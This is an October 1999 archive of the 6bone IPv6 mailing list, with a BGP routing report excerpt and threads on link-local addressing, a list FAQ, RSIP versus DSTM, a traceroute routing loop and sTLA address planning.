>   7610 1849 6175 3274 2839 224 (95/72 -- 6%)
>   5761 6175 1225 237 2839 224 (65/65 -- 2%)
>   ...Truncated...
> 
> 3. SICS (3ffe:200::/24) had 8089 BGP+ updates (29 unique aspaths)
>   2839 (487/0 -- 100%)
>   7081 6175 3274 2839 (733/9 -- 98%)
>   1225 1275 1835 2839 (482/482 -- 20%)
>   10566 6175 3274 2839 (1034/501 -- 20%)
>   5761 6175 3274 2839 (450/448 -- 19%)
>   561 5609 5623 2839 (317/317 -- 16%)
>   109 3462 3263 2839 (388/390 -- 13%)
>   7610 1849 1225 237 2839 (438/377 -- 12%)
>   5761 6175 1225 237 2839 (55/55 -- 1%)
>   7081 293 1275 1835 2839 (47/3 -- 1%)
>   7610 3462 3263 2839 (56/48 -- 1%)
>   ...Truncated...
> 
> 4. FUNET (3ffe:2620::/32) had 6844 BGP+ updates (40 unique aspaths)
>   2839 1741 (453/148 -- 77%)
>   1225 1275 1835 2839 1741 (384/348 -- 28%)
>   109 3462 3263 2839 1741 (333/298 -- 19%)
>   2839 3274 1741 (457/61 -- 18%)
>   7610 1849 1225 1275 1835 2839 1741 (409/368 -- 15%)
>   7610 1849 1225 4556 5539 3274 1741 (56/49 -- 6%)
>   1225 4556 5539 3274 1741 (89/63 -- 5%)
>   109 4556 5539 3274 1741 (86/43 -- 5%)
>   561 5609 5623 2839 3274 1741 (271/210 -- 5%)
>   2839 1835 1273 5539 3274 1741 (243/2 -- 3%)
>   7610 1849 1225 237 2839 1741 (91/74 -- 3%)
>   ...Truncated...
> 
> 5. SMS (3ffe:2600::/24) had 4139 BGP+ updates (12 unique aspaths)
>   10566 6175 3274 (1283/3 -- 100%)
>   5761 6175 3274 (0/0 -- 100%)
>   7610 1849 6175 3274 (0/0 -- 100%)
>   1225 6175 3274 (0/0 -- 100%)
>   109 6175 3274 (0/0 -- 100%)
>   7081 6175 3274 (639/22 -- 99%)
>   2839 3274 (669/196 -- 94%)
>   561 5609 1225 6175 3274 (3/2 -- 77%)
>   2839 1835 1273 5539 3274 (220/1 -- 4%)
>   2500 2500 2500 33 10318 6175 3274 (220/220 -- 2%)
>   2839 5623 5609 1225 6175 3274 (37/7 -- 0%)
>   ...Truncated...
> 
> 

From 6bone-owner  Mon Oct 11 11:30:42 1999
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To: "'6bone'" <6bone@ISI.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: 10/10/99 6Bone Routing Report 
In-reply-to: Your message of Mon, 11 Oct 1999 10:42:44 PDT.
             <4D0A23B3F74DD111ACCD00805F31D81014515B9F@RED-MSG-50> 
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>   1000::/4 path 561 10566 237 1225 1673 (ANSNET -- 0%)
>   1800::/4 path 1225 1673 (ANSNET -- 0%)

1800::/4 ???  There has to be a software bug somewhere, since this
not only overlaps 1000::/4, it's identical with it!


			"visualize a valid message-id"
					Matt

From 6bone-owner  Mon Oct 11 18:04:15 1999
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From: "Clift, Justin [IBM GSA]" <Justin.Clift@corpmail.telstra.com.au>
To: ipv6-au@e-Secure.com.au, 6bone@ISI.EDU
Subject: Is anyone with the Solaris 8 Beta able to comment on its ipv6 imp
	lementation?
Date: Tue, 12 Oct 1999 10:55:28 +1000
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Hi all,

Is anyone with the Solaris 8 Beta able to comment on its ipv6
implementation?

:-)

Justin Clift




From 6bone-owner  Mon Oct 11 19:47:57 1999
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Date: Mon, 11 Oct 1999 19:47:12 -0700 (PDT)
From: Ariffin Ahmad <joeel1@yahoo.com>
Subject: compatibility issues of ipv4 applications on ipv6
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i'm student of university of Putra Malaysia.
doing compatibility issues of ipv4 applications onipv6
as my final year project.

need to knowabout how to test the compatibility in the
real ipv6 environment.

and how to translate it, practically.
how to program, etc...



=====

__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

From 6bone-owner  Fri Oct 15 08:45:13 1999
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Date: Fri, 15 Oct 1999 11:41:47 -0400
Subject: Local LAN IP
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I would like to setup a local lan with IPv6 but I'm not sure on what
would be a valid non routable IPv6 IP network address.  Like 192.168.x.x
is for IPv4.  Can someone please help me?
___________________________________________________________________
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From 6bone-owner  Fri Oct 15 11:10:34 1999
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To: Chris B Luck <chris.luck@juno.com>
Cc: 6bone@ISI.EDU
Subject: Re: Local LAN IP
References: <19991015.114149.-205925.0.Chris.Luck@juno.com>
From: Mark Atwood <mra@pobox.com>
Date: 15 Oct 1999 11:14:03 -0700
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Chris B Luck <chris.luck@juno.com> writes:
> I would like to setup a local lan with IPv6 but I'm not sure on what
> would be a valid non routable IPv6 IP network address.  Like 192.168.x.x
> is for IPv4.  Can someone please help me?

If your IPv6 stacks are correct, it should "just work" if you do
nothing.  The interfaces will be assigned their stateless
autoconfigured link local addresses, and then your hosts can talk to
each other, but none of the traffic will leave the local LAN.

-- 
Mark Atwood               | 
mra@pobox.com             | 
http://www.pobox.com/~mra | 

From 6bone-owner  Fri Oct 15 12:07:45 1999
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Message-Id: <199910151907.VAA03007@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: Chris B Luck <chris.luck@juno.com>
cc: 6bone@ISI.EDU
Subject: Re: Local LAN IP 
In-reply-to: Your message of Fri, 15 Oct 1999 11:41:47 EDT.
             <19991015.114149.-205925.0.Chris.Luck@juno.com> 
Date: Fri, 15 Oct 1999 21:07:32 +0200
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 In your previous mail you wrote:

   I would like to setup a local lan with IPv6 but I'm not sure on what
   would be a valid non routable IPv6 IP network address.  Like 192.168.x.x
   is for IPv4.  Can someone please help me?

=> you can use link-local or site-local addresses. Link-local addresses
(which are mandatory) are exactly you want but site-local addresses have
a larger scope (:-): they are routable in your site (ie. you can have
more than one LAN) but not on the Internet, you should need them for
the next step.

Francis.Dupont@inria.fr

PS: read RFC 2373 section 2.5.8

From 6bone-owner  Fri Oct 15 12:37:42 1999
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From: Jeff Mason <pccf@bigbird.earth-net.net>
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Subject: a suggestion for the ipv6 listserve.
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Hello:

I've noticed more and more people are asking the same questions on the
list.  i was wondering if a faq could be automatically emailed to them
with their subscription to this list.  Do people here think that would be
a good idea?  It would answer alot of question they would have right from
the start.

Regards
Jeff Mason

--
Planet Communication & Computing Facility           mason@pccf.net 
Public Access Internet Research Publisher           1 (212) 894-3704 ext. 1033


From 6bone-owner  Fri Oct 15 13:38:09 1999
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Subject: Re: a suggestion for the ipv6 listserve.
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Dear Jeff,

I think that is an excellent idea.  As to what we can put into the FAQ, I would
suggest we start with the existing 6Bone faq and then add to it when we find
that we can distill out an item as a "Best-Practice" item or a very helpful
item.

Yours sincerely,
Robert Honore.

Jeff Mason wrote:
> 
> Hello:
> 
> I've noticed more and more people are asking the same questions on the
> list.  i was wondering if a faq could be automatically emailed to them
> with their subscription to this list.  Do people here think that would be
> a good idea?  It would answer alot of question they would have right from
> the start.
> 
> Regards
> Jeff Mason
> 
> --
> Planet Communication & Computing Facility           mason@pccf.net
> Public Access Internet Research Publisher           1 (212) 894-3704 ext. 1033

From 6bone-owner  Fri Oct 15 16:06:54 1999
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From: "Greg Long" <greg@coastlink.com>
To: <6bone@ISI.EDU>
Subject: RE: a suggestion for the ipv6 listserve.
Date: Fri, 15 Oct 1999 17:06:44 -0600
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I think it would be a good idea.  I am not knowledgeable enough to answer
any of the questions yet, but it seems most of the questions are available
on the website.

-Greg

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Jeff
Mason
Sent: Friday, October 15, 1999 1:52 PM
To: 6bone@ISI.EDU
Subject: a suggestion for the ipv6 listserve.


Hello:

I've noticed more and more people are asking the same questions on the
list.  i was wondering if a faq could be automatically emailed to them
with their subscription to this list.  Do people here think that would be
a good idea?  It would answer alot of question they would have right from
the start.

Regards
Jeff Mason

--
Planet Communication & Computing Facility           mason@pccf.net
Public Access Internet Research Publisher           1 (212) 894-3704 ext.
1033


From 6bone-owner  Fri Oct 15 16:09:59 1999
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Date: Sat, 16 Oct 1999 09:09:38 +1000 (EST)
From: Carl Brewer <carl@bl.echidna.id.au>
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To: Francis.Dupont@inria.fr, chris.luck@juno.com
Cc: 6bone@ISI.EDU
Subject: Re: Local LAN IP
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> From: Francis Dupont <Francis.Dupont@inria.fr>
> To: Chris B Luck <chris.luck@juno.com>
> cc: 6bone@ISI.EDU
> Subject: Re: Local LAN IP 
> 
>  In your previous mail you wrote:
> 
>    I would like to setup a local lan with IPv6 but I'm not sure on what
>    would be a valid non routable IPv6 IP network address.  Like 192.168.x.x
>    is for IPv4.  Can someone please help me?
> 
> => you can use link-local or site-local addresses. Link-local addresses
> (which are mandatory) are exactly you want but site-local addresses have
> a larger scope (:-): they are routable in your site (ie. you can have
> more than one LAN) but not on the Internet, you should need them for
> the next step.
> 
> Francis.Dupont@inria.fr
> 
> PS: read RFC 2373 section 2.5.8

RFC 2373 is obsolete, RFC 2374 replaces it.

cheers

Carl


From 6bone-owner  Fri Oct 15 16:12:58 1999
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From: "Theo Purmer (Tepucom)" <theo@tepucom.nl>
To: "6bone@ISI.EDU" <6bone@ISI.EDU>,
        "'pccf@bigbird.earth-net.net'"
	 <pccf@bigbird.earth-net.net>
Subject: RE: a suggestion for the ipv6 listserve.
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I think it is a good idea

cheers
theo purmer

----------
Van: 	Jeff Mason[SMTP:pccf@bigbird.earth-net.net]
Antwoord naar: 	pccf@bigbird.earth-net.net
Verzonden: 	vrijdag 15 oktober 1999 21:52
Aan: 	6bone@ISI.EDU
Onderwerp: 	a suggestion for the ipv6 listserve.

Hello:

I've noticed more and more people are asking the same questions on the
list.  i was wondering if a faq could be automatically emailed to them
with their subscription to this list.  Do people here think that would be
a good idea?  It would answer alot of question they would have right from
the start.

Regards
Jeff Mason

--
Planet Communication & Computing Facility           mason@pccf.net 
Public Access Internet Research Publisher           1 (212) 894-3704 ext. 1033



From 6bone-owner  Fri Oct 15 17:10:34 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199910160009.RAA13211@zephyr.isi.edu>
Subject: Re: a suggestion for the ipv6 listserve.
To: pccf@bigbird.earth-net.net
Date: Fri, 15 Oct 1999 17:09:07 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.4.10.9910151549490.30870-100000@pccf.net> from "Jeff Mason" at Oct 15, 99 03:52:13 pm
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> Hello:
> 
> I've noticed more and more people are asking the same questions on the
> list.  i was wondering if a faq could be automatically emailed to them
> with their subscription to this list.  Do people here think that would be
> a good idea?  It would answer alot of question they would have right from
> the start.
> 
> Regards
> Jeff Mason

Sure it could. Would you like to fabricate a FAQ?     

-- 
--bill

From 6bone-owner  Fri Oct 15 19:45:09 1999
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To: <6bone@ISI.EDU>, "Chris B Luck" <chris.luck@juno.com>
References: <19991015.114149.-205925.0.Chris.Luck@juno.com>
Subject: Re: Local LAN IP
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Please, help me to leave this list.





-----Mensagem Original----- 
De: Chris B Luck <chris.luck@juno.com>
Para: <6bone@ISI.EDU>
Enviada em: Sexta-feira, 15 de Outubro de 1999 12:41
Assunto: Local LAN IP


> I would like to setup a local lan with IPv6 but I'm not sure on what
> would be a valid non routable IPv6 IP network address.  Like 192.168.x.x
> is for IPv4.  Can someone please help me?
> ___________________________________________________________________
> Get the Internet just the way you want it.
> Free software, free e-mail, and free Internet access for a month!
> Try Juno Web: http://dl.www.juno.com/dynoget/tagj.
> 


From 6bone-owner  Fri Oct 15 19:53:20 1999
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Subject: Re: a suggestion for the ipv6 listserve.
Date: Sat, 16 Oct 1999 00:46:19 -0300
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Please, i need to leave this list. Can u help me ?





-----Mensagem Original-----
De: Robert Honore <robert@digi-data.com>
Para: <pccf@bigbird.earth-net.net>
Cc: <6bone@ISI.EDU>
Enviada em: Sexta-feira, 15 de Outubro de 1999 17:40
Assunto: Re: a suggestion for the ipv6 listserve.


> Dear Jeff,
>
> I think that is an excellent idea.  As to what we can put into the FAQ, I
would
> suggest we start with the existing 6Bone faq and then add to it when we
find
> that we can distill out an item as a "Best-Practice" item or a very
helpful
> item.
>
> Yours sincerely,
> Robert Honore.
>
> Jeff Mason wrote:
> >
> > Hello:
> >
> > I've noticed more and more people are asking the same questions on the
> > list.  i was wondering if a faq could be automatically emailed to them
> > with their subscription to this list.  Do people here think that would
be
> > a good idea?  It would answer alot of question they would have right
from
> > the start.
> >
> > Regards
> > Jeff Mason
> >
> > --
> > Planet Communication & Computing Facility           mason@pccf.net
> > Public Access Internet Research Publisher           1 (212) 894-3704
ext. 1033
>


From 6bone-owner  Sat Oct 16 02:00:29 1999
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From: "Theo Purmer (Tepucom)" <theo@tepucom.nl>
To: "6bone@ISI.EDU" <6bone@ISI.EDU>,
        =?us-ascii?Q?=27Fernando_Mendonca=27?=
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Subject: RE: Local LAN IP
Date: Sat, 16 Oct 1999 10:59:08 +0200
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If you had visited http://www.6bone.net
then you would have found the page http://www.6bone.net/6bone_email.html
where you would have read the following:

The 6bone mail list is for 6bone participants, and only open to those that 
join it. It is a mailing list read by humans, not an auto-responder. Please 
subscribe to the 6bone mail list if you intend to participate in 6bone 
activities at any level.
To subscribe to the 6bone mail list, send a message to majordomo@isi.edu 
with the line subscribe 6bone as the contents of the message.
Some other useful commands that majordomo understands are help, info 6bone 
and who 6bone.
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----------
Van: 	Fernando Mendonca[SMTP:nandom@ruralrj.com.br]
Antwoord naar: 	Fernando Mendonca
Verzonden: 	zaterdag 16 oktober 1999 5:44
Aan: 	6bone@ISI.EDU; Chris B Luck
Onderwerp: 	Re: Local LAN IP

Please, help me to leave this list.





-----Mensagem Original-----
De: Chris B Luck <chris.luck@juno.com>
Para: <6bone@ISI.EDU>
Enviada em: Sexta-feira, 15 de Outubro de 1999 12:41
Assunto: Local LAN IP


> I would like to setup a local lan with IPv6 but I'm not sure on what
> would be a valid non routable IPv6 IP network address.  Like 192.168.x.x
> is for IPv4.  Can someone please help me?
> ___________________________________________________________________
> Get the Internet just the way you want it.
> Free software, free e-mail, and free Internet access for a month!
> Try Juno Web: http://dl.www.juno.com/dynoget/tagj.
>



From 6bone-owner  Sun Oct 17 17:10:54 1999
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How are you?

Using proxy server, NAT, CIDR, and DHCP,
there are many efforts to solve the IP address problem.

But IPv6 is the best solution for the IP address problem.
Nowadays, some IP researchers say 'Realm Specific IP'
<draft-ietf-nat-rsip-protocol-03.txt> is one of good solution
for IP address exhaustion problem.

If you know RSIP, will you explain about it?
What is the merit of RSIP for NAT?

Thanks.


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Sun Oct 17 23:45:59 1999
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How are you?

I'm looking for the stable backbone routers(IPv6).
Cisco has just beta solution.
Will you send me the product information for IPv6
backbone routers(including release version o/s)?

Thank you.

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon Oct 18 16:48:52 1999
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Date: Mon, 18 Oct 1999 19:51:46 -0400 (EDT)
From: Herman Strom <hermans@touro.edu>
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Hi!

My name is Herman Strom. I am runnin Slackware 6.3-beta with 
Linux-2.2.12/glic-2.1.1. How do I make it so that my local interface
gets self-configured on link-local (fe80::0/10) network?

Thanks.

Bye,

Herm

---------------------------------------
Herman Strom, Academic Computing Dept.
 Touro College <http://www.touro.edu>

-- Contact me via: --------------------
  Check out my Personal Home Page at:
    <http://www.gncom.net/hermans>
      email: <hermans@touro.edu>
       Work Phone: 718 871-7292
       Home Phone: 718 972-2173
       Voice Mail: 718 518-3347
---------------------------------------


From 6bone-owner  Tue Oct 19 04:03:38 1999
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Dear huitema,

I read your presentation at IPv6 Forum.
You said that RSIP is good for IPv6 evolution.
I can't find the difference between NAT/NAPT and RSIP
conceptually.
Will you explain about it?
Is RSIP good for ISP?

Thank you.
Sahng-Beom Kim


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Wed Oct 20 00:08:28 1999
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On Fri, 15 Oct 1999, Bill Manning wrote:

> > I've noticed more and more people are asking the same questions on the
> > list.  i was wondering if a faq could be automatically emailed to them
> > with their subscription to this list.  Do people here think that would be
> > a good idea?  It would answer alot of question they would have right from
> > the start.
> 
> Sure it could. Would you like to fabricate a FAQ?     

What about the 6bone faq.  Would that do, or should it be re-edited.  We
don't mind helping put together.

Regards
Jeff Mason

--
Planet Communication & Computing Facility           mason@pccf.net 
Public Access Internet Research Publisher           1 (212) 894-3704 ext. 1033


From 6bone-owner  Wed Oct 20 08:30:20 1999
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Date: Wed, 20 Oct 1999 17:29:32 +0200 (CET)
From: Romano Piccio-Marchetti Prado <romano@jungla.dit.upm.es>
To: 6Bone@ISI.EDU
Subject: A possible routing loop...
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	Hello all:

	I don`t know if this is the appropriate mailing list, so if not,
please redirect me to that one.

	We had a tunnel setup and running, and we were able to connect
well with other 6Bone sites. A few days ago, sites began not to respond,
so this evening, I've made a traceroute form CSELT's Web Page to our site.
I include the results below.

	It seems like some routers are looping the traffic directed to us
(in fact, to all the sites that hangs of REDIRIS, our tunnel provider).
Could anyone tell what's the way to solve that?

TRACEROUTE RESULTS ------------------------------------------------------

Traceroute from carmen.ipv6.cselt.it to 3ffe:3328:4::1

Wed Oct 20 17:16:58 MET DST 1999 

datalen = 60
traceroute6 to 3ffe:3328:4::1 (3ffe:3328:4::1), 30 hops max
outgoing MTU = 60
 1  6bone-gw1.ipv6.cselt.it (3ffe:1001:1:100:2e0:1eff:fe8e:c2ca)  1 ms *  1 ms
 2  cselt-if.6r1.doc.london.ip6.pipex.net (3ffe:1100:0:c02::1)  173 ms  155 ms
*
 3  * doc-6r1-if.6r1.paloalto.ip6.pipex.net (2001:600:4:4::2)  381 ms  372 ms
 4  * vbns-uunet-uk.hay.vbns.net (3ffe:1100:0:cc08::2)  501 ms *
 5  * * *
 6  * * *
 7  * * *
 8  3ffe:700:20:1::2 (3ffe:700:20:1::2)  551 ms *  534 ms
 9  6b-att-ch.ipv6.imag.fr (3ffe:302:11:2:0:2:0:11)  715 ms *  743 ms
10  exchange.telehouse.ipv6.ja.net (3ffe:1100:0:410:200:cff:fe7e:f979)  683 ms
 703 ms *
11  cselt-if.6r1.doc.london.ip6.pipex.net (3ffe:1100:0:c02::1)  685 ms  709 ms
 706 ms
12  doc-6r1-if.6r1.paloalto.ip6.pipex.net (2001:600:4:4::2)  902 ms *  899 ms
13  * * vbns-uunet-uk.hay.vbns.net (3ffe:1100:0:cc08::2)  1023 ms

TRACEROUTE RESULTS -------------------------------------------------------

	Thank you in advance.
	Regards,
	Romano.



From 6bone-owner  Thu Oct 21 00:03:45 1999
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On Wed, 20 Oct 1999, Romano Piccio-Marchetti Prado wrote:

> 	It seems like some routers are looping the traffic directed to us
> (in fact, to all the sites that hangs of REDIRIS, our tunnel provider).
> Could anyone tell what's the way to solve that?
> 

When I try to get in, it loops at Palo Alto!

# traceroute 3ffe:1001:1:100:a00:20ff:fe83:5531
traceroute: Warning: Multiple interfaces found; using
3ffe:2101:12::836f:4515 @ ip.tun1:1
traceroute to 3ffe:1001:1:100:a00:20ff:fe83:5531, 30 hops max, 60 byte
packets
 1  tunnel8.ulcc (3ffe:2100:1:15:0:c46:b898:f)  10.198 ms *  7.638 ms
 2  3ffe:1100:0:1c01::1  18.100 ms *  17.869 ms
 3  doc-6r1-if.6r1.paloalto.ip6.pipex.net (2001:600:4:4::2)  158.975 ms *
158.783 ms
 4  doc-6r1-if.6r1.paloalto.ip6.pipex.net
(3ffe:1100:0:410:260:3eff:fe59:4d93)  158.484 ms *  159.152 ms
 5  doc-6r1-if.6r1.paloalto.ip6.pipex.net (2001:600:4:4::2)  331.497 ms *
295.743 ms
 6  * doc-6r1-if.6r1.paloalto.ip6.pipex.net
(3ffe:1100:0:410:260:3eff:fe59:4d93)  295.624 ms *
 7  doc-6r1-if.6r1.paloalto.ip6.pipex.net (2001:600:4:4::2)  433.115 ms *
431.815 ms
 8  doc-6r1-if.6r1.paloalto.ip6.pipex.net
(3ffe:1100:0:410:260:3eff:fe59:4d93)
etc etc

Peter.


From 6bone-owner  Mon Oct 25 07:33:55 1999
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Date: Mon, 25 Oct 1999 07:33:37 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone hardening draft -02 call for comments
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I have just circulated the following wg last call to the ngtrans list.

This separate posting to the 6bone list is to catch folks not on both lists
and to keep the duplicate comment responses to a minimum. 

Please respond only to the ngtrans list.


Thanks,

Bob

===
This is an NGtrans working group last call for comments on advancing 
the following document as Informational:

Title : 6Bone Backbone Routing Guildelines
Author(s) : R. Rockell, B. Fink
Filename : draft-ietf-ngtrans-harden-02.txt
Pages : 15
Date : 25-Oct-99

Please send substantive comments to the NGtrans mailing list, and minor
editorial comments to the authors. This last call period will end two
weeks from today on Noember 8, 1999.

This version may be slow to appear on the IETF I-D list as it was just
submitted within the I-D cutoff for Wash DC, thus I have stored it
temporarily on the 6bone/ngtrans web server.

<http://www.6bone.net/ngtrans/draft-ietf-ngtrans-harden-02.html>


Thanks,

Bob


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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199910260153.VAA0000016413@quarry.zk3.dec.com>
To: Shane Kerr <kerr@arin.net>
Cc: Laurent Toutain <Laurent.Toutain@enst-bretagne.fr>,
        "'Christian Huitema'" <huitema@research.telcordia.com>,
        "ksbn@kt.co.kr" <ksbn@kt.co.kr>,
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Subject: Re: RSIP(Realm Specific IP) 
In-reply-to: Your message of "Mon, 25 Oct 1999 18:57:16 EDT."
             <Pine.GSO.3.96.991025184923.3420B-100000@ice.arin.net> 
Date: Mon, 25 Oct 1999 21:53:26 -0400
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>> We proposed with Jim Bound in the ngtrans group a transition mechanism
>> called DSTM (Dual Stack Transition Mechanism). It is, in a way, similar
>> to RSIP. We allocate a temporary IPv4 address to IPv6 hosts and we
>> tunnel IPv4 packet into IPv6 packet. The tunnel end point is a router at
>> the border between IPv6 and IPv4 only network. This allow part of a
>> network to move to IPv6, the rest can stay in IPv4. 
>> 
>> The main difference with RSIP is that IPv4 applications don't have to be
>> recompiled to deal with DSTM. 

>From Shane Kerr Oct 25........
>My understanding is that applications don't have to be recompilied to deal
>with RSIP either.  That is, I should be able to use the good old-fashioned
>connect() and sendto()/recvfrom() API without changing the binaries.  The
>IP stacks need to be recompiled, to fetch an IP/port from the realm server
>before a connection is instantiated, but applications should run without
>modification.  Only applications that bind() to a specific IP and/or port
>should be affected, as I understand it.

That is correct the designers did this well.

DSTM does not require an IPv4-ONLY node to do anything even if it is
using a private address, as then its an intranet solution.  Thats the
difference.  All the code to make DSTM work is on IPv6 not IPv4.  So in
that sense IPv4 stuff don't have to be messed with.

The only common thingees btw RSIP and DSTM are as follows:

  1.  Translation is not required for an IPv6 node to talk with IPv4.
      Though I am extrapolating as RSIP has not specified the added 
      functions of IPv6.

  2.  Global IPv4 addresses are assigned to the end node temporarily 
      from a pool.

  3.  Most of the architectural precepts and reason for the solutions
      are similiar.

But DSTM addresses directly the transition issue where a user wants to
deploy IPv6 on an Intranet but needs to speak with IPv4-ONLY nodes
either on the Intranet or on the Internet.  Also DSTM permits the
incoming connection of IPv4 to an IPv6 node that is then dynamically
assigned an IPv4 address as needed.  DSTM also provides a Dynamic Tunnel
Interface and other parts to make all this work... Yada Yada Yada...
But there is no free lunch here as with any transition mechanism, but we
do preserve users the ability to use end-to-end computing in its purist
form and with IPsec if they choose, as defined by those standards.
That is why we consider our NGTRANS proposal/solution unique and
distinct.

See draft-ietf-ngtrans-dstm-00.txt and send comments to the ngtrans
list.

What we do not want to do IMO is to deploy RSIP as another band-aid to
not get to IPv6.  That would be stupid.  But RSIP is a good alternative
to translation in its present form within IPv4.

Once we get DSTM clear within the NGTRANS group it is probably wise for
the DSTM authors and RSIP authors to connect and have some kind of
meeting of the minds.  But lets not interfere with either proposals idea
and let each working group make each of them good.  Then we take two
good things and see what applicability exists.  As an idea for thought.

But this is an IPv6 list and RSIP is not doing IPv6.

thanks
/jim


From 6bone-owner  Tue Oct 26 07:45:14 1999
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Date: Tue, 26 Oct 1999 07:44:46 -0700
To: Tom Hutton <hutton@sdslug.org>
From: Bob Fink <fink@es.net>
Subject: Re: IPv6 code on 7200 with ATM
Cc: 6BONE List <6bone@ISI.EDU>
In-Reply-To: <Pine.3.89.9910252302.E5569-0100000@hot>
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Tom,

At 11:47 PM 10/25/99 -0700, Tom Hutton wrote:
>Is anyone running the IPv6 code on a 7200 with a PA-A3 Oc3 ATM adapter?
>The two images on cisco's beta site seem to not know what this host 
>adapter is (I get a unknown PA type 83 - powering down message)
>
>Strangly I thought this was the configuration ESnet was using.

I believe it is, but we use the 12.0T beta code from the developers directly. 

Get in touch with Becca Nitzan for more details on that:

 Becca Nitzan <nitzan@es.net>


Bob

From 6bone-owner  Sun Oct 31 01:03:05 1999
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From: Aljaz Tomaz    RDSI <aljaz@iskratel.si>
To: "'MSRIPV6-USERS@LIST.RESEARCH.MICROSOFT.COM'"
	 <MSRIPV6-USERS@LIST.RESEARCH.MICROSOFT.COM>,
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	 <6bone@ISI.EDU>
Subject: Explenation of IPSec fields
Date: Sun, 31 Oct 1999 10:02:21 +0100
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Hi!
I just trace IPSec packets with SMS Network Monitor between 2 WinNT stations
with MSR IPv6 1.3 and I need some explenation. In ESP Trailer I have
following trace:
ESP trailer
	ESP Padding = 1 (0x1)
	ESP Pad Lenght = 2 (0x2)
	Next Header = 58
	etc

ESP Pad Lenght means that they are 2 byts of padding, where are this two
bytes (is one ESP Padding?, where is the other one).

Regards,
Tomaz



From 6bone-owner  Sun Oct 31 21:44:16 1999
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How are you?

I  make the IPv6 address plan for my company.
Should I follow the IETF RFC to make IPv6 address plan.
By IPv6 address plan, Should I save 64bits for cutomer
ID ?

I think it is a non-sense.
Can I change the 64bits for cutomer ID, 56bits, 48bits ?.

If you have any advice, send me it

Thanks.
ksb

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Sun Oct 31 22:25:27 1999
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To: itojun@iijlab.net
CC: "6Bone(Int)" <6bone@ISI.EDU>, "6Bone(WIDE)" <6bone-jp@wide.ad.jp>
Subject: Re: (6bone-jp 1006) IPv6 frame
References: <22653.941435855@coconut.itojun.org>
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Then how about NLA, SLA?
Can I decide NLA1, NLA2 and SLA by myself?
Are there some more rules ?

Thnaks in advance.
ksb

itojun@iijlab.net wrote:

> >I  make the IPv6 address plan for my company.
> >Should I follow the IETF RFC to make IPv6 address plan.
> >By IPv6 address plan, Should I save 64bits for cutomer
> >ID ?
>
>         Yes, as long as you use RFC2373 addressing architecture (which is
>         required for hooking your box to worldwide IPv6 network)
>         If you do not obey it, you will not be able to use IPv6 autoconfig on
>         most of the implementations.
>
> itojun

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Sun Oct 31 22:45:27 1999
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Date: Mon, 01 Nov 1999 15:46:44 +0900
From: ksb <ksbn@kt.co.kr>
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CC: "6Bone(Int)" <6bone@ISI.EDU>, "6Bone(WIDE)" <6bone-jp@wide.ad.jp>
Subject: Re: (6bone-jp 1006) IPv6 frame
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I'm sorry for you to make misunderstand.
I got sTLA from APNIC.(sTLA 2001:220::/35)
Now I should the addressing plan for the sTLA.
Korea Telecom is biggest company in Korea.
So maybe some ISPs hope get the KT sTLA.
My plan is
------------------------------------------
NLA1   Res    NLA2     SLA      Interface
------------------------------------------

I hope that SLA is given Organizations or Univs.
NLA2 is given for projects.
NLA1 is given for ISPs.
Is this pland resonable?

I hope to know your advice about IPv6 address plan,

Thanks
ksb



itojun@iijlab.net wrote:

> >Then how about NLA, SLA?
> >Can I decide NLA1, NLA2 and SLA by myself?
> >Are there some more rules ?
>
>         I don't know what you trying to say.
>         - If you hook up to ISP as a leaf organization (you have no
>           downstream), you will be getting /48 and you have 2^16 subnets
>           (and possible to accomodate 2^64 hosts onto each subnet).
>         - If you hook up to big ISP as smaller ISP, you may end up becoming
>           NLA1 or NLA2.  You will get address block like /40 or something
>           like that (it is up to big ISP to choose bit boundary, I believe).
>         - If you obtain address block from IANA, you will get /35 (sTLA)
>           or /16 (TLA, which can be obtained only after you use up sTLAs)
>
>         So if you are not ISP, you will get /48.
>
> itojun

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Sun Oct 31 23:28:13 1999
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Date: Mon, 01 Nov 1999 16:26:27 +0900
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From: Kengo NAGAHASHI <kenken@sfc.wide.ad.jp>
To: itojun@iijlab.net
Cc: ksbn@kt.co.kr, 6bone@ISI.EDU, 6bone-jp@wide.ad.jp
Subject: Re: (6bone-jp 1011) Re: IPv6 frame 
In-Reply-To: In your message of "Mon, 01 Nov 1999 15:50:41 +0900"
	<23473.941439041@coconut.itojun.org>
References: <381D3754.9391D515@kt.co.kr>
	<23473.941439041@coconut.itojun.org>
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At Mon, 01 Nov 1999 15:50:41 +0900,
itojun@iijlab.net wrote:
> 
> 
> >I'm sorry for you to make misunderstand.
> >I got sTLA from APNIC.(sTLA 2001:220::/35)
> >Now I should the addressing plan for the sTLA.
> >Korea Telecom is biggest company in Korea.
> >So maybe some ISPs hope get the KT sTLA.
> >My plan is
> >------------------------------------------
> >NLA1   Res    NLA2     SLA      Interface
> >------------------------------------------
> >I hope that SLA is given Organizations or Univs.
> >NLA2 is given for projects.
> >NLA1 is given for ISPs.
> >Is this pland resonable?
> >I hope to know your advice about IPv6 address plan,
> 
